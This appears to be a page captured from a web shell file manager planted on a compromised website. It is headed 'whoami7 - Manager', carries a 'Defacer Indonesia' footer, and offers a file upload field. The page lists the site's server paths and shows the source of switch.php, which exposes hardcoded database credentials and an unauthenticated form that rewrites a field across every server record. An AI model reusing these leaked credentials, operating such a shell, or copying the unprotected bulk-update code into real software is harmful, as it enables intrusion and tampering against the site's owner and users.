whoami7 - Manager
:
/
home
/
simspala
/
yoursimzone.com
/
Upload File:
files >> /home/simspala/yoursimzone.com/switch.php
<?php /********************************************** * UPDATE groupused FOR ALL SERVERS * No fetch, no listing, just update. **********************************************/ $dsn = 'mysql:host=localhost;dbname=simspala_yoursim;charset=utf8mb4'; $dbUser = 'simspala_yoursim'; $dbPass = 'simspala_yoursim'; try { $pdo = new PDO($dsn, $dbUser, $dbPass, [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ]); } catch (Exception $e) { die("DB ERROR: " . $e->getMessage()); } /* ------------------------------------------------ Update ALL groupused in servers table ------------------------------------------------ */ if (isset($_POST["update_all"])) { $groupused = trim($_POST["groupused"]); if ($groupused === "") { $msg = "groupused value cannot be empty"; } else { $stmt = $pdo->prepare("UPDATE servers SET groupused=?"); $stmt->execute([$groupused]); $count = $stmt->rowCount(); $msg = "Successfully updated $count servers!"; } } ?> <!DOCTYPE html> <html> <head> <title>Update All GroupUsed</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet"> </head> <body class="bg-light"> <div class="container mt-5" style="max-width:600px;"> <h3 class="mb-3">Update groupused for ALL Servers</h3> <?php if (isset($msg)) : ?> <div class="alert alert-info"><?= $msg ?></div> <?php endif; ?> <div class="card"> <div class="card-header bg-danger text-white">Warning</div> <div class="card-body"> <p><strong>This will update the <u>groupused</u> value for every server in the database.</strong></p> <form method="POST"> <div class="mb-3"> <label class="form-label">New GroupUsed Value</label> <input type="text" name="groupused" class="form-control" required placeholder="e.g Group A"> </div> <button class="btn btn-danger w-100" name="update_all"> Update ALL Servers </button> </form> </div> </div> </div> </body> </html>
Copyright ©2021 || Defacer Indonesia